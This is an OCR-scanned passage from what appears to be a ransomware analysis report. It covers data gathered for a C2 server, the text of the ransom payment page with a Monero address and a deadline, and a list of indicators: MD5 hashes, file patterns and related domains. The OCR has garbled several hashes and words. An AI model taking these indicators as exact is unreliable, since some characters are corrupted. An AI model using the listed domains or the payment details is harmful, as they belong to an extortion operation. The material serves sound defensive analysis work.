
0041C2C8: &L "Talse”

0041C2CC: &L "windows 7 Professional”

0041C2D0: &L "QWADAAAAAPCTHROAAAAAAPS CFOAAAF 0ABAAAAAAAAAAAAAAAAAAAAAAAAAA="

Figure 5.12.4. Relevant information before being sent to the C2 server.
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6. Rescate

In order to rescue our files, once we’ ve read the note left in one of the files where the ransomware has
been, we need to download a TOR browser, introduce the key left in the document, and we’ ll be given
instruction on how to recover our files. To do this, we have to make a payment in bitcoins or Monero

within 7 days.

< panda
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Enter the key here

SUBMIT

e @

To decrypt your files you need to Follow the instructions below. But
buy our special software -

olll

Your documents, photos,
databases and other important files emember that you do not have
encrypted qweqwe-Decryptor much time

qweqwe-Decryptor price

You have 6 days, 23:59:52 Current price 27.45744 XMR
*If you do not pay on time, the price will be doubled ~ 500D
*Time ends on Apr 21. 165825 After time ends 5491488 xMR

=~ 3,000 USD

Monero address: 84h7N7PNGGCecBaVMUSGS19cFkpy T RVAC * ¥MR will be recalculzted in 5 hours with an actual rate.

INSTRUCTIONS CCHAT SUPPORT ABOUT US Paymentmethod MOMERO BITCOIN (+10%)

Figure 6.1: Instructions for recovering data.
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/7. IOC

MD5:
3E974B7347D347AE31C1B11CO5A667TE2
B488BDEEAEDA94A273E4746DB0082841
BED6FC0O4AEB785815744706239A1F243
1CE1CA85BFF4517A1EFTESFOATC22B16
1524B237E65D52AATE2ADD5DBDCCTCO5
A81961697199A3F9524A0F874E281612
512B538CE2C40112009383AE70331DCF
E6566F78ABF3075EBEAGFD037803E176

Ransom file:
<random_hash>info.txt

Example: zaoi6xao08r.omp

Desktop bitmap file:
<random_hash>.bmp

Ejemplo: zaoi6xao08r.bmp

Examples of encrypted file extensions:

*.jpg.<random_hash>
*.png.<random_hash>
*.reg.<random_hash>
*.xml.<random_hash>

Example: dlbum.mp3.e4cqobv5o

Related URLs:

suitesartemis.gr
rename.kz
jefersonalessandro.com
banukumbak.com
pourlabretagne.bzh
azerbaycanas.com
lesyeuxbleus.net
brannbornfastigheter.se
kryddersnapsen.dk
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